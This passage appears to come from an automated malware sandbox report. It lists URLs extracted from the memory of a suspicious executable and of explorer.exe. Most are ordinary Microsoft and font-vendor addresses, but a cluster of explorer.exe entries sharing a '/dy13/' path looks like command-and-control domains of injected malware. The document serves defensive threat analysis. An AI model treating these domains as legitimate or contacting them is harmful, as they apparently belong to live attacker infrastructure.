          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662514857.00000000053A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sdplat.media
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sdplat.media/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sdplat.media/dy13/www.soloparentconnect.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.sdplat.mediaReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.soloparentconnect.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.soloparentconnect.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.soloparentconnect.com/dy13/www.b0ba138.xyz
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.soloparentconnect.comReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.taini00.net
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.taini00.net/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.taini00.net/dy13/www.sdplat.media
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.taini00.netReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tyupok.xyz
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tyupok.xyz/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tyupok.xyz/dy13/www.484844.vip
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.tyupok.xyzReferer:
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.umeshraja.com
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.umeshraja.com/dy13/
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.umeshraja.com/dy13/www.883106.photos
          Source: explorer.exe, 00000005.00000002.4102542899.000000000CB46000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105191318.000000000CB1E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3167076802.000000000CB36000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3105362141.000000000CB28000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3425966147.000000000CB36000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.umeshraja.comReferer:
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
          Source: mQY9ka5sW6hv2Ri.exe, 00000000.00000002.1662597721.0000000006B12000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C893000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
          Source: explorer.exe, 00000005.00000003.3106253540.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4093721221.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426649414.00000000079FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/Vh5j3k
          Source: explorer.exe, 00000005.00000003.3106253540.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4093721221.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3426649414.00000000079FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/odirmr
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 00000005.00000000.1665871823.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000097D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 00000005.00000000.1665871823.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000097D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/q
          Source: explorer.exe, 00000005.00000000.1661541002.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4092474613.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4091496578.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1662369450.0000000003700000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 00000005.00000003.3106606841.0000000009701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1665871823.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.0000000009701000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1665871823.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3106606841.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000097D4000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
          Source: explorer.exe, 00000005.00000003.3106606841.0000000009701000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1665871823.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4095689522.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3427001072.0000000009701000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.comi
          Source: explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
          Source: explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
          Source: explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
          Source: explorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
          Source: explorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
          Source: explorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com_
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comcember
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C557000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/L
          Source: explorer.exe, 00000005.00000000.1672208552.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4100977951.000000000C5AA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4093721221.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
          Source: explorer.exe, 00000005.00000000.1663822771.00000000078AD000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
          Source: explorer.exe, 00000005.00000002.4093721221.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1663822771.0000000007900000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
